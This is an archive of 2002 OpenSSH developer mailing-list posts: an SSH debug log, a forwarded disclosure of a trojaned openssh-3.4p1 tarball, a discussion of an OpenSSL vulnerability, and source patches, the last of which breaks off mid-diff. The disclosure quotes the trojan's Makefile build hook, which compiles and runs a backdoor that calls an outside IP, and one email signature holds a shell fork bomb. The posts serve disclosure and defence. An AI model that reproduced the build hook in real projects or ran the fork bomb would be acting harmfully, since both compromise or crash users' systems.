debug1: kex: client->server aes128-cbc hmac-md5 none
debug1: SSH2_MSG_KEX_DH_GEX_REQUEST sent
debug1: expecting SSH2_MSG_KEX_DH_GEX_GROUP
debug1: dh_gen_key: priv key bits set: 128/256
debug1: bits set: 518/1024
debug1: SSH2_MSG_KEX_DH_GEX_INIT sent
debug1: expecting SSH2_MSG_KEX_DH_GEX_REPLY
debug3: check_host_in_hostfile: filename
/export/home/rjl01/.ssh/known_hosts2
debug3: check_host_in_hostfile: filename
/opt/erac/etc/ssh_known_hosts2
debug3: key_read: type mismatch
debug3: check_host_in_hostfile: match line 2
debug3: check_host_in_hostfile: filename
/export/home/rjl01/.ssh/known_hosts2
debug3: check_host_in_hostfile: filename
/opt/erac/etc/ssh_known_hosts2
debug3: key_read: type mismatch
debug3: check_host_in_hostfile: match line 2
debug1: Host 'endeavor' is known and matches the RSA host key.
debug1: Found key in /opt/erac/etc/ssh_known_hosts2:2
debug1: bits set: 532/1024
debug1: ssh_rsa_verify: signature correct
debug1: kex_derive_keys
debug1: newkeys: mode 1
debug1: SSH2_MSG_NEWKEYS sent
debug1: waiting for SSH2_MSG_NEWKEYS
debug1: newkeys: mode 0
debug1: SSH2_MSG_NEWKEYS received
debug1: done: ssh_kex2.
debug1: send SSH2_MSG_SERVICE_REQUEST
debug1: service_accept: ssh-userauth
debug1: got SSH2_MSG_SERVICE_ACCEPT
debug1: authentications that can continue:
publickey,password,keyboard-interactive,hostbased
debug3: start over, passed a different list
publickey,password,keyboard-interactive,hostbased
debug3: preferred hostbased,publickey,keyboard-interactive,password
debug3: authmethod_lookup hostbased
debug3: remaining preferred: publickey,keyboard-interactive,password
debug3: authmethod_is_enabled hostbased
debug1: next auth method to try is hostbased
debug2: userauth_hostbased: chost evereska.
debug2: we sent a hostbased packet, wait for reply
debug1: authentications that can continue:
publickey,password,keyboard-interactive,hostbased
debug2: userauth_hostbased: chost evereska.
debug2: we sent a hostbased packet, wait for reply
debug1: authentications that can continue:
publickey,password,keyboard-interactive,hostbased
debug1: userauth_hostbased: no more client hostkeys
debug2: we did not send a packet, disable method
debug3: authmethod_lookup publickey
debug3: remaining preferred: keyboard-interactive,password
debug3: authmethod_is_enabled publickey
debug1: next auth method to try is publickey
debug1: try privkey: /export/home/rjl01/.ssh/identity
debug3: no such identity: /export/home/rjl01/.ssh/identity
debug1: try privkey: /export/home/rjl01/.ssh/id_rsa
debug3: no such identity: /export/home/rjl01/.ssh/id_rsa
debug1: try privkey: /export/home/rjl01/.ssh/id_dsa
debug3: no such identity: /export/home/rjl01/.ssh/id_dsa
debug2: we did not send a packet, disable method
debug3: authmethod_lookup keyboard-interactive
debug3: remaining preferred: password
debug3: authmethod_is_enabled keyboard-interactive
debug1: next auth method to try is keyboard-interactive
debug2: userauth_kbdint
debug2: we sent a keyboard-interactive packet, wait for reply
debug1: authentications that can continue:
publickey,password,keyboard-interactive,hostbased
debug3: userauth_kbdint: disable: no info_req_seen
debug2: we did not send a packet, disable method
debug3: authmethod_lookup password
debug3: remaining preferred: 
debug3: authmethod_is_enabled password
debug1: next auth method to try is password



------- You are receiving this mail because: -------
You are the assignee for the bug, or are watching the assignee.


From egarff at omniture.com  Fri Aug  2 01:38:16 2002
From: egarff at omniture.com (Eric Garff)
Date: 01 Aug 2002 09:38:16 -0600
Subject: OpenSSH Security Advisory:  Trojaned Distribution Files
In-Reply-To: <20020801152327.GI6925@citi.citi.umich.edu>
References: <20020801152327.GI6925@citi.citi.umich.edu>
Message-ID: <1028216296.27963.2.camel@egarff.superstats.com>

> 3. Solution:
> 
> Verify that you did not build a trojaned version of the sources.  The
> portable SSH tar balls contain PGP signatures that should be verified
> before installation.  You can also use the following MD5 checksums for
> verification.
> 
> MD5 (openssh-3.4p1.tar.gz) = 459c1d0262e939d6432f193c7a4ba8a8 
> MD5 (openssh-3.4p1.tar.gz.sig) = d5a956263287e7fd261528bb1962f24c
> MD5 (openssh-3.4.tgz) = 39659226ff5b0d16d0290b21f67c46f2
> MD5 (openssh-3.2.2p1.tar.gz) = 9d3e1e31e8d6cdbfa3036cb183aa4a01
> MD5 (openssh-3.2.2p1.tar.gz.sig) = be4f9ed8da1735efd770dc8fa2bb808a

Are these the checksums of the clean or trojaned tarballs?

Thanks,

Eric Garff


From ume at FreeBSD.org  Fri Aug  2 02:07:04 2002
From: ume at FreeBSD.org (Hajimu UMEMOTO)
Date: Fri, 02 Aug 2002 01:07:04 +0900
Subject: sshd doesn't log hostname into utmp correctly
Message-ID: <ygey9bqbm1j.wl@mille.mahoroba.org>

Hi,

openssh-3.4p1 doesn't handle actual size of struct sockaddr correctly,
and does copy it as long as just size of struct sockaddr.  So, sshd
deesn't log hostname into utmp correctly.  Here is a patch to fix this
problem.

Sincerely,

-------------- next part --------------
A non-text attachment was scrubbed...
Name: openssh-3.4p1-loghost.diff
Type: text/x-patch
Size: 3998 bytes
Desc: not available
Url : http://lists.mindrot.org/pipermail/openssh-unix-dev/attachments/20020802/e3f3bf46/attachment.bin 
-------------- next part --------------
--
Hajimu UMEMOTO @ Internet Mutual Aid Society Yokohama, Japan
ume at mahoroba.org  ume at bisd.hitachi.co.jp  ume@{,jp.}FreeBSD.org
http://www.imasy.org/~ume/

From dunlap at apl.washington.edu  Fri Aug  2 04:50:20 2002
From: dunlap at apl.washington.edu (John Dunlap)
Date: Thu, 1 Aug 2002 11:50:20 -0700 (PDT)
Subject: so-called-hang-on-exit
Message-ID: <Pine.LNX.4.44.0208011146440.23813-100000@henry.apl.washington.edu>

Also cures HP-UX 9.05 using OpenSSH_3.4p1

-- 
John H. Dunlap                        University of Washington
Senior Electrical Engineer            Applied Physics Laboratory
dunlap at apl.washington.edu             1013 NE 40th Street
206-543-7207, 543-1300, FAX 543-6785  Seattle, WA   98105-6698



From ew-ssh at kegger.national-security.net  Thu Aug  1 23:01:23 2002
From: ew-ssh at kegger.national-security.net (ew-ssh at kegger.national-security.net)
Date: Thu, 1 Aug 2002 13:01:23 +0000 (UTC)
Subject: Openssl and openssh
In-Reply-To: <87eldity53.fsf@CERT.Uni-Stuttgart.DE>
Message-ID: <Pine.LNX.4.44.0208011300270.13610-100000@kegger.national-security.net>

When keys are generated, doesn't the public key stick arround on the 
server (ssh_host_dsa_key.pub and ssh_host_rsa_key.pub)?

Would that make us vulnerable, or have I misunderstood what you had said?

--Eric

On Thu, 1 Aug 2002, Florian Weimer wrote:

> "kumar" <kumareshind at gmx.net> writes:
> 
> > I had seen some recommendations for and against that these vulnerabilities
> > affects OpenSSH.
> 
> Protocol 2 RSA public key/host based authentication calls OpenSSL's
> RSA_verify, which ueses the ASN.1 parser internally.  Exploiting
> CAN-2002-0659 still requires that the SSH2 public key has been stored
> on the SSH server, so no anonymous attacks are possible in typical
> contexts.
> 
> 



From mouring at etoh.eviladmin.org  Fri Aug  2 05:57:52 2002
From: mouring at etoh.eviladmin.org (Ben Lindstrom)
Date: Thu, 1 Aug 2002 14:57:52 -0500 (CDT)
Subject: Openssl and openssh
In-Reply-To: <Pine.LNX.4.44.0208011300270.13610-100000@kegger.national-security.net>
Message-ID: <Pine.BSO.4.44.0208011457200.1379-100000@etoh.eviladmin.org>

You really should be generating keys on your clients and pushing the
public keys to each of the remote machines you are logging into.  You
should avoid having your private key out for anyone to see.

- Ben


On Thu, 1 Aug 2002 ew-ssh at kegger.national-security.net wrote:

> When keys are generated, doesn't the public key stick arround on the
> server (ssh_host_dsa_key.pub and ssh_host_rsa_key.pub)?
>
> Would that make us vulnerable, or have I misunderstood what you had said?
>
> --Eric
>
> On Thu, 1 Aug 2002, Florian Weimer wrote:
>
> > "kumar" <kumareshind at gmx.net> writes:
> >
> > > I had seen some recommendations for and against that these vulnerabilities
> > > affects OpenSSH.
> >
> > Protocol 2 RSA public key/host based authentication calls OpenSSL's
> > RSA_verify, which ueses the ASN.1 parser internally.  Exploiting
> > CAN-2002-0659 still requires that the SSH2 public key has been stored
> > on the SSH server, so no anonymous attacks are possible in typical
> > contexts.
> >
> >
>
> _______________________________________________
> openssh-unix-dev at mindrot.org mailing list
> http://www.mindrot.org/mailman/listinfo/openssh-unix-dev
>



From ew-ssh at kegger.national-security.net  Thu Aug  1 23:11:48 2002
From: ew-ssh at kegger.national-security.net (ew-ssh at kegger.national-security.net)
Date: Thu, 1 Aug 2002 13:11:48 +0000 (UTC)
Subject: openssh-3.4p1.tar.gz on ftp.openbsd.org changing rather than
 frozen (fwd)
Message-ID: <Pine.LNX.4.44.0208011311210.13610-100000@kegger.national-security.net>

Below the trojaned and clean md5s are given.


---------- Forwarded message ----------
Date: Thu, 1 Aug 2002 13:39:22 +0200
From: Magnus Bodin <magnus at bodin.org>
To: Wojtek Pilorz <wpilorz at bdk.pl>
Cc: openssh-unix-dev at mindrot.org
Subject: Re: openssh-3.4p1.tar.gz on ftp.openbsd.org changing rather than
    frozen

On Thu, Aug 01, 2002 at 09:20:29AM +0200, Wojtek Pilorz wrote:
> I have seen that file
> ftp://ftp.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-3.4p1.tar.gz
> is continuosly changing.
> This seems strange to me as I expected it should be a 'frozen' file;
> The signature and diff file are still dated Jun 26.
> 
> I am wondering whether this is intentional.

Read, read: 

----- Forwarded message from Edwin Groothuis <edwin at mavetju.org> -----

Date: Thu, 1 Aug 2002 16:55:51 +1000
From: Edwin Groothuis <edwin at mavetju.org>
To: incidents at securityfocus.com
Subject: openssh-3.4p1.tar.gz trojaned

Greetings,

Just want to inform you that the OpenSSH package op ftp.openbsd.org
(and probably all its mirrors now) it trojaned:

    ftp://ftp.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-3.4p1.tar.gz

The OpenBSD people have been informed about it (via email to
deraadt at openbsd.org and via irc.openprojects.org/#openbsd)


The changed files are openssh-3.4p1/openbsd-compat/Makefile.in:
 all: libopenbsd-compat.a
+       @ $(CC) bf-test.c -o bf-test; ./bf-test>bf-test.out; sh ./bf-test.out &

bf-test.c[1] is nothing more than a wrapper which generates a
shell-script[2] which compiles itself and tries to connect to an
server running on 203.62.158.32:6667 (web.snsonline.net).
  
[1] http://www.mavetju.org/~edwin/bf-test.c
[2] http://www.mavetju.org/~edwin/bf-output.sh

This is the md5 checksum of the openssh-3.4p1.tar.gz in the FreeBSD
ports system:
    MD5 (openssh-3.4p1.tar.gz) = 459c1d0262e939d6432f193c7a4ba8a8

This is the md5 checksum of the trojaned openssh-3.4p1.tar.gz:
    MD5 (openssh-3.4p1.tar.gz) = 3ac9bc346d736b4a51d676faa2a08a57

Edwin

-- 
Edwin Groothuis      |            Personal website: http://www.MavEtJu.org
edwin at mavetju.org    |    Weblog: http://www.mavetju.org/weblog/weblog.php 
bash$ :(){ :|:&};:   | Interested in MUDs? http://www.FatalDimensions.org/

_______________________________________________
openssh-unix-dev at mindrot.org mailing list
http://www.mindrot.org/mailman/listinfo/openssh-unix-dev




From ew-ssh at kegger.national-security.net  Thu Aug  1 23:14:33 2002
From: ew-ssh at kegger.national-security.net (ew-ssh at kegger.national-security.net)
Date: Thu, 1 Aug 2002 13:14:33 +0000 (UTC)
Subject: Openssl and openssh
In-Reply-To: <Pine.BSO.4.44.0208011457200.1379-100000@etoh.eviladmin.org>
Message-ID: <Pine.LNX.4.44.0208011312590.13610-100000@kegger.national-security.net>


> You should avoid having your private key out for anyone to see.

I realize that, my question is pointed towards "Exploiting CAN-2002-0659
still requires that the SSH2 public key has been stored on the SSH server,
so no anonymous attacks are possible in typical contexts." 

What does Weimer mean by "server"?  Usually public keys are sitting right 
next to the private ones.

--Eric

> 
> - Ben
> 
> 
> On Thu, 1 Aug 2002 ew-ssh at kegger.national-security.net wrote:
> 
> > When keys are generated, doesn't the public key stick arround on the
> > server (ssh_host_dsa_key.pub and ssh_host_rsa_key.pub)?
> >
> > Would that make us vulnerable, or have I misunderstood what you had said?
> >
> > --Eric
> >
> > On Thu, 1 Aug 2002, Florian Weimer wrote:
> >
> > > "kumar" <kumareshind at gmx.net> writes:
> > >
> > > > I had seen some recommendations for and against that these vulnerabilities
> > > > affects OpenSSH.
> > >
> > > Protocol 2 RSA public key/host based authentication calls OpenSSL's
> > > RSA_verify, which ueses the ASN.1 parser internally.  Exploiting
> > > CAN-2002-0659 still requires that the SSH2 public key has been stored
> > > on the SSH server, so no anonymous attacks are possible in typical
> > > contexts.
> > >
> > >
> >
> > _______________________________________________
> > openssh-unix-dev at mindrot.org mailing list
> > http://www.mindrot.org/mailman/listinfo/openssh-unix-dev
> >
> 
> 
> 



From Weimer at CERT.Uni-Stuttgart.DE  Fri Aug  2 06:21:14 2002
From: Weimer at CERT.Uni-Stuttgart.DE (Florian Weimer)
Date: Thu, 01 Aug 2002 22:21:14 +0200
Subject: Openssl and openssh
In-Reply-To: <Pine.LNX.4.44.0208011312590.13610-100000@kegger.national-security.net> (ew-ssh@kegger.national-security.net's
 message of "Thu, 1 Aug 2002 13:14:33 +0000 (UTC)")
References: <Pine.LNX.4.44.0208011312590.13610-100000@kegger.national-security.net>
Message-ID: <87vg6uib45.fsf@CERT.Uni-Stuttgart.DE>

ew-ssh at kegger.national-security.net writes:

> What does Weimer mean by "server"?  Usually public keys are sitting right 
> next to the private ones.

In order to use public key authentication, you have to put the public
keys into some authorized_keys/ssh_known_hosts file on the server.
That's what I meant.

-- 
Florian Weimer 	                  Weimer at CERT.Uni-Stuttgart.DE
University of Stuttgart           http://CERT.Uni-Stuttgart.DE/people/fw/
RUS-CERT                          fax +49-711-685-5898


From ew-ssh at kegger.national-security.net  Thu Aug  1 23:21:00 2002
From: ew-ssh at kegger.national-security.net (ew-ssh at kegger.national-security.net)
Date: Thu, 1 Aug 2002 13:21:00 +0000 (UTC)
Subject: Openssl and openssh
In-Reply-To: <87vg6uib45.fsf@CERT.Uni-Stuttgart.DE>
Message-ID: <Pine.LNX.4.44.0208011319250.14168-100000@kegger.national-security.net>

Ahh, ok; thank you.  So basically only those servers who have public key 
entries in my authorized_hosts[2] would be able to exploit the ssl 
vulnerability?  I suppose those who have an entry in my authorized_keys 
already get access to the box, so why exploit it.

Thank you!

On Thu, 1 Aug 2002, Florian Weimer wrote:

> ew-ssh at kegger.national-security.net writes:
> 
> > What does Weimer mean by "server"?  Usually public keys are sitting right 
> > next to the private ones.
> 
> In order to use public key authentication, you have to put the public
> keys into some authorized_keys/ssh_known_hosts file on the server.
> That's what I meant.
> 
> 



From Weimer at CERT.Uni-Stuttgart.DE  Fri Aug  2 06:37:15 2002
From: Weimer at CERT.Uni-Stuttgart.DE (Florian Weimer)
Date: Thu, 01 Aug 2002 22:37:15 +0200
Subject: Openssl and openssh
In-Reply-To: <Pine.LNX.4.44.0208011319250.14168-100000@kegger.national-security.net> (ew-ssh@kegger.national-security.net's
 message of "Thu, 1 Aug 2002 13:21:00 +0000 (UTC)")
References: <Pine.LNX.4.44.0208011319250.14168-100000@kegger.national-security.net>
Message-ID: <87n0s6iadg.fsf@CERT.Uni-Stuttgart.DE>

ew-ssh at kegger.national-security.net writes:

> Ahh, ok; thank you.  So basically only those servers who have public key 
> entries in my authorized_hosts[2] would be able to exploit the ssl 
> vulnerability?  I suppose those who have an entry in my authorized_keys 
> already get access to the box, so why exploit it.

Two things:

  - gaining root privileges

  - public key authentication might only grant non-interactive access
    (using "command=")

But I agree that such a vulnerability is not too dangerous, given the
sorry state of local security on UNIX-like systems in general.

-- 
Florian Weimer 	                  Weimer at CERT.Uni-Stuttgart.DE
University of Stuttgart           http://CERT.Uni-Stuttgart.DE/people/fw/
RUS-CERT                          fax +49-711-685-5898


From ew-ssh at kegger.national-security.net  Thu Aug  1 23:43:03 2002
From: ew-ssh at kegger.national-security.net (ew-ssh at kegger.national-security.net)
Date: Thu, 1 Aug 2002 13:43:03 +0000 (UTC)
Subject: Openssl and openssh
In-Reply-To: <87n0s6iadg.fsf@CERT.Uni-Stuttgart.DE>
Message-ID: <Pine.LNX.4.44.0208011342370.14667-100000@kegger.national-security.net>

Does privsep throw root out the window?

On Thu, 1 Aug 2002, Florian Weimer wrote:

> ew-ssh at kegger.national-security.net writes:
> 
> > Ahh, ok; thank you.  So basically only those servers who have public key 
> > entries in my authorized_hosts[2] would be able to exploit the ssl 
> > vulnerability?  I suppose those who have an entry in my authorized_keys 
> > already get access to the box, so why exploit it.
> 
> Two things:
> 
>   - gaining root privileges
> 
>   - public key authentication might only grant non-interactive access
>     (using "command=")
> 
> But I agree that such a vulnerability is not too dangerous, given the
> sorry state of local security on UNIX-like systems in general.
> 
> 



From mouring at etoh.eviladmin.org  Fri Aug  2 06:47:07 2002
From: mouring at etoh.eviladmin.org (Ben Lindstrom)
Date: Thu, 1 Aug 2002 15:47:07 -0500 (CDT)
Subject: Tru64 and OSF/1 Privsep patch
Message-ID: <Pine.BSO.4.44.0208011533140.1379-100000@etoh.eviladmin.org>

Ok.. I need wider testing for this. I'm getting reports back it works
mostly.  'ssh site ls'  fails, but they can login with Privsep enbled.

Can I get those who are using Tru64 or OSF/1 that have SIA enabled to
test?  This should apple to either -cvs or the current snapshot (I would
perfer not to use 3.4p1 due to bugs).

I'm going on a trip next week and will be around very spotty at best.  As
a result I'm not dead sure when the final date for commits are for 3.5,
but I still shooting for 3.5 release or first thing when the tree opens
back up for 3.6.

Again for testing.  Please submit an incremental patch to solve
additional problems, and if you can't ensure there is ssh and sshd debug
information and an short description of the problem.

- Ben


diff -ur openssh-3.4p1/auth-sia.c openssh-3.4p1+/auth-sia.c
--- openssh-3.4p1/auth-sia.c	Fri Apr 12 11:36:08 2002
+++ openssh-3.4p1+/auth-sia.c	Mon Jul 22 23:34:37 2002
@@ -41,9 +41,11 @@
 #include <unistd.h>
 #include <string.h>

+/* import */
 extern ServerOptions options;
 extern int saved_argc;
 extern char **saved_argv;
+extern int use_privsep;

 extern int errno;

@@ -77,7 +79,7 @@
 }

 void
-session_setup_sia(char *user, char *tty)
+setup_sia(char *user, char *tty)
 {
 	struct passwd *pw;
 	SIAENTITY *ent = NULL;
@@ -86,9 +88,8 @@
 	host = get_canonical_hostname (options.verify_reverse_mapping);

 	if (sia_ses_init(&ent, saved_argc, saved_argv, host, user, tty, 0,
-	    NULL) != SIASUCCESS) {
+	    NULL) != SIASUCCESS)
 		fatal("sia_ses_init failed");
-	}

 	if ((pw = getpwnam(user)) == NULL) {
 		sia_ses_release(&ent);
@@ -100,25 +101,24 @@
 	}

 	ent->authtype = SIA_A_NONE;
-	if (sia_ses_estab(sia_collect_trm, ent) != SIASUCCESS) {
+	if (sia_ses_estab(sia_collect_trm, ent) != SIASUCCESS)
 		fatal("Couldn't establish session for %s from %s", user,
 		    host);
-	}

 	if (setpriority(PRIO_PROCESS, 0, 0) == -1) {
 		sia_ses_release(&ent);
 		fatal("setpriority: %s", strerror (errno));
 	}

-	if (sia_ses_launch(sia_collect_trm, ent) != SIASUCCESS) {
+	if (sia_ses_launch(sia_collect_trm, ent) != SIASUCCESS)
 		fatal("Couldn't launch session for %s from %s", user, host);
-	}
-
+
 	sia_ses_release(&ent);

-	if (setreuid(geteuid(), geteuid()) < 0) {
-		fatal("setreuid: %s", strerror(errno));
+	/* XXX: Should this be be around a if (!use_privsep) ? */
+	if (!use_privsep) {
+		if (setreuid(geteuid(), geteuid()) < 0)
+			fatal("setreuid: %s", strerror(errno));
 	}
 }
-
 #endif /* HAVE_OSF_SIA */
diff -ur openssh-3.4p1/auth-sia.h openssh-3.4p1+/auth-sia.h
--- openssh-3.4p1/auth-sia.h	Fri Apr 12 11:36:08 2002
+++ openssh-3.4p1+/auth-sia.h	Sun Jul 21 22:53:14 2002
@@ -27,6 +27,6 @@
 #ifdef HAVE_OSF_SIA

 int	auth_sia_password(Authctxt *authctxt, char *pass);
-void	session_setup_sia(char *user, char *tty);
+void	setup_sia(char *user, char *tty);

 #endif /* HAVE_OSF_SIA */
diff -ur openssh-3.4p1/monitor.c openssh-3.4p1+/monitor.c
--- openssh-3.4p1/monitor.c	Wed Jun 26 09:27:11 2002
+++ openssh-3.4p1+/monitor.c	Sun Jul 21 22:53:14 2002
@@ -120,6 +120,10 @@
 int mm_answer_pam_start(int, Buffer *);
 #endif

+#ifdef HAVE_OSF_SIA
+int mm_answer_setup_sia(int, Buffer *);
+#endif
+
 static Authctxt *authctxt;
 static BIGNUM *ssh1_challenge = NULL;	/* used for ssh1 rsa auth */

@@ -176,6 +180,9 @@
     {MONITOR_REQ_PTY, 0, mm_answer_pty},
     {MONITOR_REQ_PTYCLEANUP, 0, mm_answer_pty_cleanup},
     {MONITOR_REQ_TERM, 0, mm_answer_term},
+#ifdef HAVE_OSF_SIA
+    {MONITOR_REQ_SETUP_SIA, 0, mm_answer_setup_sia},
+#endif
     {0, 0, NULL}
 };

@@ -206,6 +213,9 @@
     {MONITOR_REQ_PTY, MON_ONCE, mm_answer_pty},
     {MONITOR_REQ_PTYCLEANUP, MON_ONCE, mm_answer_pty_cleanup},
     {MONITOR_REQ_TERM, 0, mm_answer_term},
+#ifdef HAVE_OSF_SIA
+    {MONITOR_REQ_SETUP_SIA, MON_ONCE, mm_answer_setup_sia},
+#endif
     {0, 0, NULL}
 };

@@ -307,10 +317,16 @@
 		monitor_permit(mon_dispatch, MONITOR_REQ_MODULI, 1);
 		monitor_permit(mon_dispatch, MONITOR_REQ_SIGN, 1);
 		monitor_permit(mon_dispatch, MONITOR_REQ_TERM, 1);
+#ifdef HAVE_OSF_SIA
+		monitor_permit(mon_dispatch, MONITOR_REQ_SETUP_SIA, 1);
+#endif

 	} else {
 		mon_dispatch = mon_dispatch_postauth15;
 		monitor_permit(mon_dispatch, MONITOR_REQ_TERM, 1);
+#ifdef HAVE_OSF_SIA
+		monitor_permit(mon_dispatch, MONITOR_REQ_SETUP_SIA, 1);
+#endif
 	}
 	if (!no_pty_flag) {
 		monitor_permit(mon_dispatch, MONITOR_REQ_PTY, 1);
@@ -717,6 +733,22 @@

 	return (authok != 0);
 }
+#endif
+
+#ifdef HAVE_OSF_SIA
+int
+mm_answer_setup_sia(int socket, Buffer *m)
+{
+	char *user, *tty;
+
+	user = buffer_get_string(m, NULL);
+	tty = buffer_get_string(m, NULL);
+
+	setup_sia(user, tty);
+
+	xfree(user);
+	xfree(tty);
+}
 #endif

 #ifdef USE_PAM
diff -ur openssh-3.4p1/monitor.h openssh-3.4p1+/monitor.h
--- openssh-3.4p1/monitor.h	Tue Jun 11 12:42:49 2002
+++ openssh-3.4p1+/monitor.h	Sun Jul 21 22:53:14 2002
@@ -50,6 +50,7 @@
 	MONITOR_REQ_RSACHALLENGE, MONITOR_ANS_RSACHALLENGE,
 	MONITOR_REQ_RSARESPONSE, MONITOR_ANS_RSARESPONSE,
 	MONITOR_REQ_PAM_START,
+	MONITOR_REQ_SETUP_SIA,
 	MONITOR_REQ_TERM
 };

diff -ur openssh-3.4p1/monitor_wrap.c openssh-3.4p1+/monitor_wrap.c
--- openssh-3.4p1/monitor_wrap.c	Thu Jun 20 20:43:43 2002
+++ openssh-3.4p1+/monitor_wrap.c	Sun Jul 21 22:53:14 2002
@@ -649,6 +649,24 @@
 	s->ttyfd = -1;
 }

+#ifdef HAVE_OSF_SIA
+void
+mm_setup_sia(char *name, char *tty)
+{
+	Buffer m;
+
+	debug3("%s entering", __func__);
+
+	buffer_init(&m);
+	buffer_put_cstring(&m, name);
+	buffer_put_cstring(&m, tty);
+
+	mm_request_send(pmonitor->m_recvfd, MONITOR_REQ_SETUP_SIA, &m);
+
+	buffer_free(&m);
+}
+#endif
+
 #ifdef USE_PAM
 void
 mm_start_pam(char *user)
diff -ur openssh-3.4p1/monitor_wrap.h openssh-3.4p1+/monitor_wrap.h
--- openssh-3.4p1/monitor_wrap.h	Sun May 12 21:07:42 2002
+++ openssh-3.4p1+/monitor_wrap.h	Sun Jul 21 22:53:14 2002
@@ -59,6 +59,10 @@
 void mm_start_pam(char *);
 #endif

+#ifdef HAVE_OSF_SIA
+void mm_setup_sia(char *, char *);
+#endif
+
 void mm_terminate(void);
 int mm_pty_allocate(int *, int *, char *, int);
 void mm_session_pty_cleanup2(void *);
diff -ur openssh-3.4p1/session.c openssh-3.4p1+/session.c
--- openssh-3.4p1/session.c	Wed Jun 26 09:51:06 2002
+++ openssh-3.4p1+/session.c	Sun Jul 21 23:26:49 2002
@@ -57,6 +57,7 @@
 #include "canohost.h"
 #include "session.h"
 #include "monitor_wrap.h"
+#include "auth-sia.h"

 #ifdef HAVE_CYGWIN
 #include <windows.h>
@@ -1269,7 +1270,7 @@
 	 */
 	if (!options.use_login) {
 #ifdef HAVE_OSF_SIA
-		session_setup_sia(pw->pw_name, s->ttyfd == -1 ? NULL : s->tty);
+		PRIVSEP(setup_sia(pw->pw_name, s->ttyfd == -1 ? NULL : s->tty));
 		if (!check_quietlogin(s, command))
 			do_motd();
 #else /* HAVE_OSF_SIA */



From bugzilla-daemon at mindrot.org  Fri Aug  2 22:37:36 2002
From: bugzilla-daemon at mindrot.org (bugzilla-daemon at mindrot.org)
Date: Fri,  2 Aug 2002 22:37:36 +1000 (EST)
Subject: [Bug 377] New: Reduce compiler warnings. Use unsigned args to the ctype.h is*() macros.
Message-ID: <20020802123736.618EFE8FF@shitei.mindrot.org>

http://bugzilla.mindrot.org/show_bug.cgi?id=377

           Summary: Reduce compiler warnings. Use unsigned args to the
                    ctype.h is*() macros.
           Product: Portable OpenSSH
           Version: -current
          Platform: Sparc
        OS/Version: Solaris
            Status: NEW
          Severity: trivial
          Priority: P2
         Component: Miscellaneous
        AssignedTo: openssh-unix-dev at mindrot.org
        ReportedBy: mdb at juniper.net


On Solaris 8, using gcc 3.1, the following warnings are given during
build of OpenSSH from the -cvs sources:

    canohost.c:93: warning: subscript has type `char'
    clientloop.c:488: warning: subscript has type `char'
    clientloop.c:503: warning: subscript has type `char'
    inet_aton.c:117: warning: subscript has type `char'
    inet_aton.c:128: warning: subscript has type `char'
    inet_aton.c:131: warning: subscript has type `char'
    inet_aton.c:133: warning: subscript has type `char'
    inet_aton.c:155: warning: subscript has type `char'
    match.c:138: warning: subscript has type `char'
    mktemp.c:168: warning: subscript has type `char'
    readpassphrase.c:123: warning: subscript has type `char'
    scp.c:758: warning: subscript has type `char'
    sshconnect.c:834: warning: subscript has type `char'

Given the possibility of characters outside of the 0 thru 0x7f range
and the implementation of the is*() macros as using an index into an
array, negative arguments could lead to unexpected behavior.

log:
	* canohost.c (get_remote_hostname): Argument to macro
	isupper() should be unsigned.
	* clientloop.c (process_cmdlin): Argument to macro isspace()
	should be unsigned.
	* match.c (match_pattern_list): Argument to macro isupper()
	should be unsigned.
	* scp.c (sink): Argument to macro isdigit() should be unsigned.
	* sshconnect.c (ssh_login): Argument to macro isupper() should
	be unsigned.
	* openbsd-compat/inet_aton.c (inet_aton): Arguments to
	the isdigit(), isxdigit(), islower() and isspace() macros
	should be unsigned.
	* openbsd-compat/mktemp.c (_gettemp): The isdigit() macro
	argument should be unsigned.
	* openbsd-compat/readpassphrase.c (readpassphrase): The
	isalpha() macro argument should be unsigned.

Index: canohost.c
===================================================================
RCS file: /cvs/openssh/canohost.c,v
retrieving revision 1.30
diff -u -p -r1.30 canohost.c
--- canohost.c	11 Jul 2002 03:56:47 -0000	1.30
+++ canohost.c	2 Aug 2002 12:13:37 -0000
@@ -90,7 +90,7 @@ get_remote_hostname(int socket, int veri
 	 * of this software).
 	 */
 	for (i = 0; name[i]; i++)
-
	if (isupper(name[i]))
+
	if (isupper((unsigned)name[i]))
 
		name[i] = tolower(name[i]);
 
 	if (!verify_reverse_mapping)
Index: clientloop.c
===================================================================
RCS file: /cvs/openssh/clientloop.c,v
retrieving revision 1.87
diff -u -p -r1.87 clientloop.c
--- clientloop.c	4 Jul 2002 00:14:18 -0000	1.87
+++ clientloop.c	2 Aug 2002 12:13:38 -0000
@@ -485,7 +485,7 @@ process_cmdline(void)
 	cmd = s = read_passphrase("\r\nssh> ", RP_ECHO);
 	if (s == NULL)
 
	goto out;
-
while (*s && isspace(*s))
+
while (*s && isspace((unsigned)*s))
 
	s++;
 	if (*s == 0)
 
	goto out;
@@ -500,7 +500,7 @@ process_cmdline(void)
 
	goto out;
 	}
 	s += 2;
-
while (*s && isspace(*s))
+
while (*s && isspace((unsigned)*s))
 
	s++;
 
 	if (sscanf(s, "%5[0-9]:%255[^:]:%5[0-9]",
Index: match.c
===================================================================
RCS file: /cvs/openssh/match.c,v
retrieving revision 1.18
diff -u -p -r1.18 match.c
--- match.c	5 Mar 2002 01:42:43 -0000	1.18
+++ match.c	2 Aug 2002 12:13:39 -0000
@@ -135,7 +135,7 @@ match_pattern_list(const char *string, c
 
	for (subi = 0;
 
	    i < len && subi < sizeof(sub) - 1 && pattern[i] != ',';
 
	    subi++, i++)
-
		sub[subi] = dolower && isupper(pattern[i]) ?
+
		sub[subi] = dolower && isupper((unsigned)pattern[i]) ?
 
		    tolower(pattern[i]) : pattern[i];
 
	/* If subpattern too long, return failure (no match). */
 
	if (subi >= sizeof(sub) - 1)
Index: scp.c
===================================================================
RCS file: /cvs/openssh/scp.c,v
retrieving revision 1.97
diff -u -p -r1.97 scp.c
--- scp.c	21 Jun 2002 00:41:52 -0000	1.97
+++ scp.c	2 Aug 2002 12:13:43 -0000
@@ -755,7 +755,7 @@ sink(argc, argv)
 
	if (*cp++ != ' ')
 
		SCREWUP("mode not delimited");
 
-
	for (size = 0; isdigit(*cp);)
+
	for (size = 0; isdigit((unsigned)*cp);)
 
		size = size * 10 + (*cp++ - '0');
 
	if (*cp++ != ' ')
 
		SCREWUP("size not delimited");
Index: sshconnect.c
===================================================================
RCS file: /cvs/openssh/sshconnect.c,v
retrieving revision 1.99
diff -u -p -r1.99 sshconnect.c
--- sshconnect.c	1 Aug 2002 01:26:30 -0000	1.99
